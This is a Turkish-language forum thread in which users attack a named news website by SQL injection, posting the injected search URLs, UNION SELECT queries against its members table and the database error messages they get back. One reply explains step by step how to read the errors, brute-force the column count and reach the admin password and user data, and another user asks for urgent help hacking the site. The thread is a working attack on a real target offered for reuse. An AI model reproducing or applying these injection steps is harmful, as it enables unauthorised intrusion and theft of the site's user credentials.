http://www.efestenhaberler.com/ara. asp?ko=0&k=0&yo=1&d=hid&e=desc&ay=00&yil=00 dan sonra hemen + olarak sql yazılacakrn;http://www.efestenhaberler.com/ara. asp?ko=0&k=0&yo=1&d=hid&e=desc&ay=00&yil=00+ http://yigitdemirag.com

Arkadaşlar Canlı Canlı Siteye sql inj. yapıyorum. Buradan takip edebilirsiniz.. hedef site: www.efestenhaberler.comarama kısmına ' yazıp arattım sallama bişiler geldihttp://www.efestenhaberler.com/ara. asp?ko=0&k=0&yo=1&d=hid&e=desc&ay=00&yil=00+union+select+0+from+uyelertable adımız doğru şimdi 1,2,3, vs die gidicez bakalımhttp://www.efestenhaberler.com/ara. asp?ko=0&k=0&yo=1&d=hid&e=desc&ay=00&yil=00+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12+from+uyelerbyle sallama bişi çıktı nolduunu anlamadım geçiyoruzhttp://www.efestenhaberler.com/ara. asp?ko=0&k=0&yo=1&d=hid&e=desc&ay=00&yil=00%20UNION%20SELECT%20TOP%201%20COLUMN_NAME%20FROM%20INFORMATION_SCHEMA. COLUMNS%20WHERE%20Uyeleroha aq bu da ne;Microsoft OLE DB Provider for ODBC Drivers error '80004005' Could not find file 'c:\windows\system32\inetsrv\INFORMATION_SCHEMA. mdb'. /ara. asp, line 69 şimdilik burdayım devam edicem sizde grüş bildirebilirsiniz. http://yigitdemirag.com

ben yapamıyom bu injectionu yaa :(http://www.efestenhaberler.com/ara. asp?&yil=00%20UNION%20SELECT%201,2,3,4,5%20from%20uyeler:S :|

http://www.efestenhaberler.com/ara. asp?ko=0&k=0&yo=1&d=hid&e=desc&ay=00&yil=00+ eğer yerse admin pasını ve diğer kullanıcı bilgilerini elde etmenize yarayan bir kodlama hatasıdır... Mevzu derin | Papikolas Planet

Arkadaşlar çok nemli gerçekten yardım edin acil bi hack yapmam lazım da. Şimdi hani+union+select+0+from+uyeler yapıoruz ya, uyeler yerine neler yazılabilir members falan tüm liste için yardım bekliyorum. Lütfen http://yigitdemirag.com

Hmmm... Güzel saldiri :=)Evet site SQL injection yiyor. Az bi baktım. Yapacağın şey basit.. Normal Union Select ile yapabilirsin Sanırım. İlk aradığın zaman verilen hata da bayağı işine yarayacak şeyler var mesela. Arama kısmına veya herhangi bir linkte ' karakterini koyduğunda bayağı bilgi veriyor. O zaman hemen işe koyulhata :Microsoft OLE DB Provider for ODBC Drivers error '80040e14' Syntax error in query expression 'onay=1 and (tur=1 OR tur=3) and haber. e_kad = kategori. e_kad and like '%'%' or like '%'%' or like '%'%' or like '%'%' or like '%'%' or like '%'%')'. /ara. asp, line 69 Bize zaten bir kaç tablo adını verdi... Haber gibiBulduğun linkin ardına devam et... Union Select 0 from uyeler yaz enterlaAçıklama : union select 0 from uyeler 'in anlamı bana uyeler tablosunda 0. cı kolonu getir diorsn... Sonra sana şole bi hata geliyor. Microsoft OLE DB Provider for ODBC Drivers error '80004005' The number of columns in the two selected tables or queries of a union query do not match. /ara. asp, line 69 Burda verilen hatanın anlamı Şudur... Evet tabloyu buldun şimdi de kolon sayısını bul... Kolon sayısını da brute mantığı ile tek tek deniyorsun... yane şole oluyor union select 0,1 from uyelerher seferinde 1 kolon arttırıyorsun.. Ben Denedim uyeler tablosunda 12 kolon var... yani linki bole yapıorsn... http://www.efestenhaberler.com/ara. asp?ko=0&k=0&yo=1&d=hid&e=desc&ay=00&yil=00%20union%20select%200,0,0,0,0,0,0,0,0,0,0,0,0%20from%20uyelerve site açılıor... Şimdi tablo ve kolon sayısını bulduk... Sırada tabloların adlarını bulmakda... tablo adlarını da benden beklemiyorsun herhalde :D Onları da sen bul artık benim uykum var hade iyi gejeler. RMx

bu ne isdir ya ne yapiliyor bu yntemle biraz aciklayin arkadaslar. Hangi Forumlara veya portallara bu yntem ile ne yapmak mümkün